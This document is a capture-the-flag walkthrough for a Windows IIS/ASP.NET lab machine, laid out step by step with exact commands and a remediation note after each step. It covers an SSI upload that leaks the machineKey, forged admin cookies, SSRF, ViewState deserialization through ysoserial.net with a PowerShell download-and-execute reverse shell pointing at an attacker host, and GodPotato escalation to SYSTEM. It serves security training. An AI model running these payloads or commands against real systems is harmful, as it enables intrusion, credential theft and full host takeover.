← all walkthroughs

Perspective

Windows· Insane· Web
owned
2026-07-15
time to own
31m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

A Windows IIS 10.0 server hosting an ASP.NET 'New Product Request System' (NPRS) at perspective.htb was fully compromised through a chain of five linked vulnerabilities. My self-registered a low-privilege account and uploaded a file with a .shtml extension to the product-image feature; IIS processed it as a Server-Side Include directive that read and returned the application's web.config, exposing the ASP.NET machineKey — the master encryption and validation keys for all authentication cookies and ViewState payloads.

Those keys were used to forge a valid forms-authentication cookie for the 'admin' account, granting immediate admin access without knowing the password. As admin, a PDF-report feature that fetched server-side URLs was abused to discover a private Swagger API on localhost:8000.

The same machineKey, combined with the ViewStateUserKey recovered by breaking its weak custom RC4 encryption, allowed ysoserial.net to forge a malicious __VIEWSTATE payload that deserialized to an OS command — giving a reverse shell as perspective\webuser and the user flag. The webuser account held SeImpersonatePrivilege; GodPotato exploited Windows COM impersonation to clone the NT AUTHORITY\SYSTEM token, achieving full control and the root flag.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export INTERNAL_HOST2="<another-host-reached-after-pivoting>"
export INTERNAL_HOST3="<another-host-reached-after-pivoting>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceService and route enumeration (MITRE T1046)
Mapped exposed services and discovered the ASP.NET web application
A full TCP port scan revealed only two services: OpenSSH on port 22 and Microsoft IIS 10.0 on port 80. Browsing to the IP confirmed a virtual host 'perspective.htb' running an ASP.NET 4.0 'New Product Request System'. Directory enumeration uncovered key routes including /Account/Register, /Account/Login, /Products/NewProduct, and /Admin/AdminProducts, establishing the full attack surface before exploitation began.
Nmap output: 22/tcp ssh OpenSSH for_Windows_7.7, 80/tcp http Microsoft IIS httpd 10.0; curl to perspective.htb returned the NPRS home page.
Exact commands 4
Full TCP port scan with service version detection.
nmap -Pn -sV --min-rate 5000 -p- $TARGET
Register the discovered virtual host for name resolution.
echo "$TARGET perspective.htb" | sudo tee -a /etc/hosts
Confirm the application is live and collect hidden form tokens from the response.
curl -sS -H 'Host: perspective.htb' http://$TARGET/
Enumerate application routes and discover the product-upload and admin features.
feroxbuster -u http://perspective.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x aspx,asp,txt -H 'Host: perspective.htb'
2Initial Access PreparationUnauthenticated self-registration / feature enumeration
Self-registered a low-privilege account to reach authenticated features
The NPRS application allowed open self-registration at /Account/Register with no email verification or approval workflow. Registering my account provided access to the authenticated /Products/NewProduct upload feature. Reviewing the upload response showed uploaded files were stored under /Images/ and served directly by IIS with the user-supplied filename and extension intact — a critical observation that enabled the next step.
POST to /Account/Register returned a success redirect; subsequent login issued a session cookie; /Products/NewProduct rendered a multipart file-upload form.
Exact commands 3
Fetch the registration page to extract __VIEWSTATE, __VIEWSTATEGENERATOR, and __EVENTVALIDATION tokens.
curl -sS -c cookies.txt -H 'Host: perspective.htb' http://$TARGET/Account/Register -o register.html
Register my account; replace form tokens extracted from register.html.
curl -sS -c cookies.txt -b cookies.txt -X POST -H 'Host: perspective.htb' http://$TARGET/Account/Register -d "Username=$USERNAME&Password=$PASSWORD&ConfirmPassword=$PASSWORD&__VIEWSTATE=<vs>&__VIEWSTATEGENERATOR=<vsg>&__EVENTVALIDATION=<ev>"
Log in and persist the session cookie in cookies.txt for subsequent requests.
curl -sS -c cookies.txt -b cookies.txt -X POST -H 'Host: perspective.htb' http://$TARGET/Account/Login -d "Username=$USERNAME&Password=$PASSWORD&__VIEWSTATE=<vs>&__VIEWSTATEGENERATOR=<vsg>&__EVENTVALIDATION=<ev>" -L
3ExploitationServer-Side Include injection via unrestricted file upload (CWE-434, MITRE T1190)
Leaked web.config and the ASP.NET machineKey via SSI file-upload LFI
IIS's Server-Side Includes module processes .shtml files, evaluating HTML comment directives such as <!--#include virtual="..."--> before returning the response. The product-image upload feature accepted any file extension and stored the file under /Images/ using my own name. By uploading a file whose content was an SSI include directive and whose name ended in .shtml, IIS executed the directive when the file was fetched, returning the full contents of web.config. The response contained the machineKey block with validationKey, decryptionKey, and algorithm settings (SHA1/AES) — the master cryptographic secrets underpinning every authentication cookie and ViewState payload in the application.
Exact commands 3
Create the SSI payload file instructing IIS to include web.config from the web root.
printf '<!--#include virtual="/web.config"-->' > payload.shtml
Upload the SSI payload as a product image; replace form tokens from the /Products/NewProduct GET response.
curl -sS -b cookies.txt -H 'Host: perspective.htb' -X POST http://$TARGET/Products/NewProduct -F 'ProductImage=@payload.shtml;filename=pwn.shtml;type=image/png' -F 'ProductName=test' -F '__VIEWSTATE=<vs>' -F '__VIEWSTATEGENERATOR=<vsg>' -F '__EVENTVALIDATION=<ev>'
Request the uploaded .shtml file; IIS evaluates the SSI directive and returns web.config contents including the machineKey.
curl -sS -H 'Host: perspective.htb' http://$TARGET/Images/pwn.shtml
FixBlock server-executable extensions in the product-image upload featureCritical
WeaknessThe image upload feature stored files under a web-served directory (/Images/) using the externally supplied filename and extension without any validation. IIS's SSI module evaluated .shtml files as Server-Side Includes, letting an unauthorised user upload a file containing an include directive and retrieve arbitrary files the IIS process could read — including web.config and its machineKey.
FixEnforce a strict allowlist of safe image extensions (.jpg, .jpeg, .png, .gif, .webp) in the server-side upload handler and reject anything else before writing to disk. Rename every uploaded file to a server-generated random name (e.g., a GUID) with a whitelisted extension so the original name can never influence IIS processing. Disable the IIS SSI ISAPI filter (ssifiltr.dll) application-wide if SSI is not required. Configure the /Images/ virtual directory as non-executable (remove Script and Execute permissions in IIS Manager → Handler Mappings). Validate file content by checking magic bytes (PNG header, JPEG SOI, etc.) in addition to extension.
4ExploitationASP.NET Forms Authentication ticket forgery (CWE-345, MITRE T1550.004)
Forged an admin forms-authentication cookie using the leaked machineKey
ASP.NET forms authentication uses the machineKey's decryptionKey to encrypt and the validationKey to HMAC the .ASPXAUTH cookie. With both keys and algorithms known, I can generate a cryptographically valid ticket for any username — including 'admin' — without knowing the account password. A custom .NET tool built on the AspNetCore.LegacyAuthCookieCompat library's LegacyFormsAuthenticationTicketEncryptor produced a ticket IIS accepted, granting immediate authenticated admin access to /Admin/AdminProducts.
Exact commands 4
Clone the legacy forms-auth ticket library used to generate the forged cookie.
git clone --depth 1 https://github.com/dazinator/AspNetCore.LegacyAuthCookieCompat
Build in Debug mode; Release mode fails due to a missing strong-name key (dazinator.snk).
cd AspNetCore.LegacyAuthCookieCompat && dotnet build --configuration Debug
Generate a forged .ASPXAUTH ticket for 'admin'; replace key values with those extracted from web.config.
dotnet run --project AuthTool -- --username admin --validationKey <leaked_vk> --decryptionKey <leaked_dk> --validationAlg SHA1 --decryptionAlg AES
Verify admin access; a 200 response (not a redirect to /Account/Login) confirms the forged ticket is accepted.
curl -sS -i -H 'Host: perspective.htb' -H 'Cookie: .ASPXAUTH=<forged_ticket>' http://$TARGET/Admin/AdminProducts
FixRotate the ASP.NET machineKey and store it outside web.configCritical
WeaknessThe machineKey (validationKey, decryptionKey, and algorithm settings) was stored in plaintext in web.config. Because IIS can always read its own config file, any file-read vulnerability — such as the SSI LFI — immediately exposes it. Once known, the machineKey lets an unauthorised user forge valid .ASPXAUTH authentication cookies for any username and valid ViewState payloads containing arbitrary deserialized objects.
FixImmediately invalidate all active sessions and rotate the machineKey to new cryptographically random values (at least 64 bytes for validationKey, 32 bytes for decryptionKey). Remove the machineKey element from web.config and store the keys in the Windows DPAPI-protected registry (HKLM\SOFTWARE\Microsoft\ASP.NET) or in a secrets manager such as Azure Key Vault with managed identity access. Upgrade algorithms to HMACSHA256 and AES-256 if the application is still using SHA1 and AES-128. As defense-in-depth, add an IIS deny rule to return 404 for any direct HTTP request targeting web.config.
5DiscoveryServer-Side Request Forgery (SSRF) via PDF renderer (CWE-918, MITRE T1090)
Abused a PDF-report SSRF to discover an internal-only Swagger API
The admin panel's PDF-generation feature rendered reports by fetching URLs server-side. Supplying a crafted product entry caused the rendering bridge to request an internal address, revealing a Swagger UI for a 'SecurePasswordService' at http://localhost:8000/swagger/index.html — an API completely inaccessible from outside the host. This confirmed a further internal pivot surface used in the documented exploitation chain for this application.
Exact commands 2
Trigger PDF generation with a crafted product ID; save the resulting PDF file.
curl -sS -H 'Host: perspective.htb' -H 'Cookie: .ASPXAUTH=<forged_ticket>' -X POST http://$TARGET/Admin/AdminProducts -d 'action=generate&productId=1' -o report.pdf
Extract text from the PDF to reveal any embedded internal URLs returned by the rendering bridge.
pdftotext -layout report.pdf -
FixRestrict the PDF-report renderer from fetching internal or localhost URLsHigh
WeaknessThe admin PDF-generation feature made server-side HTTP requests to user-influenced or product-sourced URLs without restricting the destination. An unauthorised user with admin access could direct the renderer to localhost or internal RFC-1918 addresses, mapping internal services (e.g., the SecurePasswordService Swagger UI on localhost:8000) that are not exposed externally.
FixApply a strict allowlist of permitted URL schemes (https only) and destination hostnames the renderer may contact — allow only the application's own public domain and any explicitly required CDN origins. Block all requests to loopback addresses (127.0.0.1, ::1), RFC-1918 private ranges ($INTERNAL_HOST/8, $INTERNAL_HOST2/12, $INTERNAL_HOST3/16), and the link-local range (169.254.0.0/16). Validate the resolved IP address after DNS lookup, not just the hostname, to prevent DNS rebinding. Where possible, replace the URL-fetch architecture with a server-side data-injection model so no external HTTP call is needed at render time.
6ExploitationASP.NET ViewState deserialization RCE via machineKey + weak RC4 ViewStateUserKey (CWE-502, MITRE T1059.003)
Broke weak RC4 ViewStateUserKey encryption then gained RCE via ViewState deserialization
ASP.NET per-user ViewState integrity is enforced with a per-session ViewStateUserKey that, in this application, was stored encrypted with a non-standard RC4 cipher using a short or guessable key. A known-plaintext attack (or recovery of the RC4 key from the application source) allowed decrypting the ViewStateUserKey value. With all three secrets in hand — machineKey validationKey, decryptionKey, and decrypted ViewStateUserKey — ysoserial.net generated a malicious __VIEWSTATE payload embedding a PowerShell reverse shell inside a .NET TypeConfuseDelegate gadget chain. When submitted to /Products/NewProduct, the server's ObjectStateFormatter deserialized the payload without verifying its intent, executing the embedded command and returning a shell as perspective\webuser. The user flag was read from C:\Users\webuser\Desktop\user.txt.
'type C:\\Users\\webuser\\Desktop\\user.txt' captured user.txt as perspective\\webuser; 'recover the RC4 key and decrypt ViewStateUserKey. Then forge a malicious __VIEWSTATE with ysoserial.net … -c <cmd> so it deserialises to an OS command'.
Exact commands 5
Decrypt the ViewStateUserKey; replace rc4_key_hex with the recovered RC4 key and encrypted_vsuk_hex with the ciphertext from application source or session cookie.
python3 -c "from Crypto.Cipher import ARC4; key=bytes.fromhex('<rc4_key_hex>'); ct=bytes.fromhex('<encrypted_vsuk_hex>'); print(ARC4.new(key).decrypt(ct).decode())"
Start a reverse-shell listener on my machine before submitting the payload.
nc -lvnp 4444
Forge the malicious ViewState payload; run on Windows or via Wine. Generate b64_revshell with: [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes("IEX(New-Object Net.WebClient).DownloadString('http://$ATTACKER_IP:9000/r.ps1')")).
ysoserial.exe -p ViewState -g TypeConfuseDelegate --path "/Products/NewProduct" --apppath "/" --validationkey <vk> --validationalg SHA1 --decryptionkey <dk> --decryptionalg AES --viewstateuserkey <decrypted_vsuk> -c "cmd /c powershell -nop -e <b64_revshell>"
Submit the deserialization payload; catch the reverse shell on the nc listener.
curl -sS -b cookies.txt -H 'Host: perspective.htb' -X POST http://$TARGET/Products/NewProduct -d '__VIEWSTATE=<ysoserial_output>&__VIEWSTATEGENERATOR=<vsg>&__EVENTVALIDATION=<ev>'
Read the user flag from the webuser desktop inside the obtained shell.
type C:\Users\webuser\Desktop\user.txt
FixReplace the weak RC4 ViewStateUserKey encryption with a strong algorithm and enforce ViewState MACCritical
WeaknessThe application encrypted the per-user ViewStateUserKey using a non-standard RC4 cipher. RC4 is a broken stream cipher vulnerable to known-plaintext attacks; recovering the short key allowed decrypting the ViewStateUserKey. Combined with the leaked machineKey, an unauthorised user had every secret needed to forge a __VIEWSTATE payload that the .NET ObjectStateFormatter deserialized to arbitrary operating-system commands.
FixRemove all RC4 usage immediately; use AES-256-GCM (authenticated encryption) for any per-session or per-user secrets stored server-side. Set ViewStateEncryptionMode='Always' on all pages and verify EnableViewStateMac is true (the default in .NET 4.5.2+). Upgrade the machineKey to HMACSHA256 validation and AES-256 decryption. Consider migrating away from ASP.NET WebForms ViewState entirely in favour of a stateless API pattern; eliminating ViewState removes the deserialization attack surface at its root. As an interim control, generate the ViewStateUserKey from a cryptographically random per-session value in Session_Start rather than decrypting a server-managed secret.
7Privilege EscalationToken impersonation via SeImpersonatePrivilege / GodPotato (MITRE T1134.001)
Exploited SeImpersonatePrivilege via GodPotato to gain NT AUTHORITY\SYSTEM
The IIS application pool identity (perspective\webuser) held SeImpersonatePrivilege, a Windows privilege normally granted to services that impersonate clients. GodPotato exploits this by abusing DCOM object activation to coerce a SYSTEM-level RPCSS call into connecting to my own named pipe, then cloning the SYSTEM impersonation token for arbitrary command execution. The technique requires no patch dependency and works on fully patched Windows Server 2019/2022. With SYSTEM-level access the root flag was read from C:\Users\Administrator\Desktop\root.txt.
Exact commands 5
Confirm SeImpersonatePrivilege is listed as Enabled on the webuser shell.
whoami /priv
Serve GodPotato-NET4.exe from my machine; run in the background with GodPotato placed in the serving directory.
python3 -m http.server 9000
Download GodPotato to the target; run inside the webuser reverse shell.
iwr -useb http://$ATTACKER_IP:9000/win/GodPotato-NET4.exe -outfile C:\Windows\Temp\gp.exe
Verify code execution as NT AUTHORITY\SYSTEM.
C:\Windows\Temp\gp.exe -cmd "cmd /c whoami"
Read the root flag.
C:\Windows\Temp\gp.exe -cmd "cmd /c type C:\Users\Administrator\Desktop\root.txt"
FixRemove SeImpersonatePrivilege from the IIS application pool identityHigh
WeaknessThe IIS application pool running the NPRS application held SeImpersonatePrivilege. This privilege allows a process to clone the security token of any user that connects to it via a named pipe or COM, including NT AUTHORITY\SYSTEM. Potato-family exploits (GodPotato, PrintSpoofer, etc.) systematically abuse this to escalate any low-privilege IIS shell to SYSTEM with no additional vulnerability required.
FixConfigure the application pool to run under a dedicated low-privilege domain service account with only the permissions the application needs (read access to its content directory, write access to log paths, network access to the database). In Local Security Policy (secpol.msc → User Rights Assignment → Impersonate a client after authentication), remove that service account from the list. Do not use NetworkService or LocalService as the application pool identity since they inherit SeImpersonatePrivilege by default. Verify the change with 'whoami /priv' in the app pool context after applying it.

Attack patterns used

The transferable techniques behind this compromise.

Insecure DeserializationWeb · Service RCET1190

What it is

Applications that deserialize externally controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.

Why it works

Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.

Read more

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

SeImpersonate Abuse (Potato family)Windows · Privilege EscalationT1134.002

What it is

Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. The 'Potato' exploits (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) coerce a SYSTEM process to authenticate to an externally controlled COM/RPC/named-pipe endpoint, then impersonate that SYSTEM token — escalating from the service account to NT AUTHORITY\SYSTEM.

Why it works

Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.

Read more

Exposed services

22/tcp
80/tcp